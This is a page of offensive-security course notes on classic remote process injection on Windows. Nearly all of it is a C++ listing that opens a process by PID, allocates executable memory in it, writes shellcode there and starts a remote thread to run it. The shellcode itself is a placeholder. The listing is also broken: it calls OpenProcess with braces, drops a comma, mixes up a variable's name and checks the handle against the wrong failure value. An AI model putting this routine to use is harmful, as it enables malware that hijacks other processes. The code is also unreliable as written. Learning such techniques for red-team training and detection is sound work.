> For the complete documentation index, see [llms.txt](https://106-sam.gitbook.io/ejptv2-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://106-sam.gitbook.io/ejptv2-notes/crto/malware-essentials/process-injection/classic-remote-injection.md).

# Classic Remote Injection

The same style of injection acan be used on other processes as well. An additonal step is required where we must obtain a handle to the target process by its process ID (PID).

```
#include <Windows.h>


int main(int argc, char* argv[]){

    unsigned char shellcode[] = "...";
    
    // convert the provided argument to an integer
    auto pid = atoi(argv[1]);
    
    // get handle to process
    auto hProcess = OpenProcess{
        PROCESS_ALL_ACCESS,        // desired access level 
        FALSE,
        pid                        // target process ID
    };
    
    // sanity check the handle is valid
    if (hProcess == INVALID_HANDLE_VALUE){
        return 0;
    }
    
    // allocate a region of memory
    auto hMemory = VirtualAllocEx(
        hProcess,             // handle to target process
        NULL,
        sizeof(shellcode),
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE
    );
    
    // write the shellcode into memory 
    SIZE_T bytesWritten = 0;
    WriteProcessMemory(
        hProcess,
        hMemory,
        &shellcode,
        sizeof(shellcode),
        &bytesWritten
    );
    
    // create a new thread
    DWORD threadId = 0;
    auto hThread = CreateRemoteThread(
        hProcess,         // handle to target process
        NULL, 
        0
        (LPTHREAD_START_ROUTINE)hMemory,
        NULL,
        0,
        &threadID
    );
    
    // wait for the thread to finish
    WaitForSingleObject(
        hThread,
        INFINITE
    );
    
    // close the thread handle
    CloseHandle(hThread);
}
```
